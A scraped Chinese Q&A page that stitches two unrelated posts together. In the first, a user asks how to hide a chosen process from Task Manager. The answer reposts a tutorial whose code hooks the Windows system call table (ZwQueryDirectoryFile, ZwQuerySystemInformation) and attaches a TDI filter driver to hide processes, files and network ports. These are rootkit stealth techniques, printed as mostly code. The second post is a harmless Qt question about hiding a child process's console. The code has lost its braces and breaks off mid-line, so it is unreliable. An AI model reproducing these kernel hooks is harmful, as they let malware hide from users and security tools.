请问如何隐藏指定的进程?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了请问如何隐藏指定的进程?相关的知识,希望对你有一定的参考价值。
参考技术A 分类: 电脑/网络 >> 操作系统/系统故障问题描述:
不要隐藏所有进程,比如只隐藏BT的进程,让别人在任务管理器里也查看不到,如何做?如何在隐藏之后让它再显示出来?
本人菜鸟,请高手写清楚点,谢谢
解析:
超级免子 可以隐藏进程.
具体自己弄了...
也可以参照下面的教程..
隐藏任意进程,目录/文件,注册表,端口
Author: sinister
Email: sinister@whitecell
Homepage_blank>whitecell
查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,
ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals 或 WebCrazy 所
写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)
typedef struct _FILETIME
DWORD dwLowDateTime;
DWORD dwHighDateTime;
FILETIME;
typedef struct _DirEntry
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
;
struct _SYSTEM_PROCESSES
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
;
隐藏目录/文件
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK piostatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;
WCHAR ParentDirectory[1024] = 0;
int BytesReturned;
PVOID Object;
执行旧的ZwQueryDirectoryFile函数
rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
if(NT_SUCCESS(rc))
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; 将查找出来结果赋给结构
pLast = NULL;
do
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
found=0;
在链表中查找是否包含当前目录
for(ptr = list_head; ptr != NULL; ptr = ptr->next)
if (ptr->flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
found=1;
break;
end for
如果链表中包含当前目录,隐藏
if(found)
if(bLastOne)
if(p == (PDirEntry)FileInformationBuffer )
rc = 0x***********; 隐藏
else
pLast->dwLenToNext = 0;
break;
else
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
continue;
pLast = p;
p = (PDirEntry)((char *)p + p->dwLenToNext );
while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
return(rc);
隐藏进程
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
NTSTATUS rc;
ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int found;
执行旧的ZwQuerySystemInformation函数
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if(NT_SUCCESS(rc ))
if( g_hide_proc && (5 == SystemInformationClass))
将查找出来结果赋给结构
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
遍历进程
while(curr)
if((0 < process_name.Length) && (255 > process_name.Length))
found=0;
遍历链表
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
if (ptr->flag != PTR_HIDEPROC) continue ;
if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
found =1;
判断如果是隐藏进程名则覆盖掉此进程名
while(found)
if(prev)
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else
prev->NextEntryDelta = 0;
else
if(curr->NextEntryDelta)
(char *)SystemInformation += curr->NextEntryDelta;
else
SystemInformation = NULL;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
curr = NULL;break;
遍历链表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
if (ptr->flag != PTR_HIDEPROC) continue ;
if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
found = 1;
if(curr != NULL)
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
return(rc);
隐藏端口
PDEVICE_OBJECT m_TcpgetDevice;
PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;
Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");
得到已有的设备指针
status = IoGetDeviceObjectPointer( &TcpDeviceName,
FILE_ALL_ACCESS,
&FileObject,
&TcpDevice
);
if(!NT_SUCCESS(status))
DbgPrint("IoGetDeviceObjectPointer error!\n");
return status;
DbgPrint("IoGetDeviceObjectPointer ok!\n");
建立设备
status = IoCreateDevice( DriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&FilterDevice
);
if(!NT_SUCCESS(status))
return status;
加入设备
TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);
if(!TcpgetDevice)
IoDeleteDevice(FilterDevice);
DbgPrint("IoAttachDeviceToDeviceStack error!\n");
return STATUS_SUCCESS;
m_TcpgetDevice = TcpgetDevice;
加到过滤函数中处理
for(i=0;i
if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
DriverObject->MajorFunction[i] = PassThrough;
ObDereferenceObject(FileObject);
NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
NTSTATUS status;
PIO_STACK_LOCATION pIrpStack;
pIrpStack = IoGetCurrentIrpStackLocation( Irp );
如是查询则完成 IRP
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
这里可以近一步判断某个端口
Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
复制当前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,
GenericCompletion,
NULL,
TRUE,
TRUE,
TRUE
);
传递
return IoCallDriver( m_TcpgetDevice, Irp);
如何在给定 PID 的情况下隐藏进程的控制台?
【中文标题】如何在给定 PID 的情况下隐藏进程的控制台?【英文标题】:How to hide the console of a process given its PID? 【发布时间】:2017-09-12 14:18:09 【问题描述】:当我单击 Qt 应用程序上的按钮时,我想启动一个进程。
我使用QProcess::startDetached(..., qint64 * pid)
(http://doc.qt.io/qt-5/qprocess.html#startDetached) 创建了一个进程,但我有一个想要隐藏的控制台。
如何隐藏?我必须在流程之外使用哪个功能?
此代码不会隐藏我的进程的控制台(在 win32 中):
if (AttachConsole((DWORD)m_PID))
FreeConsole();
【问题讨论】:
【参考方案1】:如果你可以重新编译你正在启动的程序,你可以把它变成一个 Windows 而不是控制台程序(在 MSVC 中,这是在项目链接器->系统,设置中,你想要/SUBSYSTEM:WINDOWS
)。
否则 QT start
方法显然永远不会创建控制台窗口,而 startDetached
会创建,因此您可以根据您的使用情况使用 start
。
另外,CreateProcess
的 CREATE_NO_WINDOW
标志将阻止自动控制台,引用 MSDN:
该进程是在没有控制台窗口的情况下运行的控制台应用程序。因此,未设置应用程序的控制台句柄。
不幸的是,QT 似乎没有提供任何方法来创建或使用带有本机标志或本机句柄(例如,没有 QProcess process(CreateProcess(...))
)的 QProcess
,尽管它在几年前被建议并被拒绝。 QProcess: Make it possible to set native process creating flags
因此,您要么只使用 Microsoft API,要么为多进程工作寻找另一个库。
【讨论】:
CREATE_NO_WINDOW
是使用 STARTUPINFO
创建隐藏控制台窗口的替代方法。它创建了一个新的控制台(即conhost.exe的实例),进程标准句柄设置为控制台输入和屏幕缓冲区,进程的控制台句柄引用了新的控制台,因此控制台功能正常工作。只是控制台没有创建窗口,所以GetConsoleWindow
返回NULL
。 CREATE_NEW_CONSOLE
和任何隐式使用后者的函数(例如 CreateProcessWithLogonW
和 CreateProcessWithTokenW
)都会忽略此标志。
是否直接记录在任何地方?文档仅说明“GUI 进程”,但是,“对于 GUI 进程,第一次调用 ShowWindow 时,它的 nCmdShow
参数被忽略 wShowWindow
指定默认值”,但是由于“对于控制台进程,这如果为进程创建了新的控制台,信息会影响控制台窗口。”我猜它被传递到控制台主机并且定义明确,行为略有不同。
如果子进程创建了一个新的控制台,使用STARTUPINFO
应该总是有效的,即如果与CREATE_NEW_CONSOLE
结合使用。窗口只是隐藏起来的,所以应用程序可以获取它的句柄并显示它。 CREATE_NO_WINDOW
方法隐式地创建了一个新控制台,并且没有可以显示的窗口。至于文档,我不知道作者说“[t] 因此,未设置应用程序的控制台句柄”之类的话有多大意义,这要么是错误的,要么是非常糟糕的陈述。以上是关于请问如何隐藏指定的进程?的主要内容,如果未能解决你的问题,请参考以下文章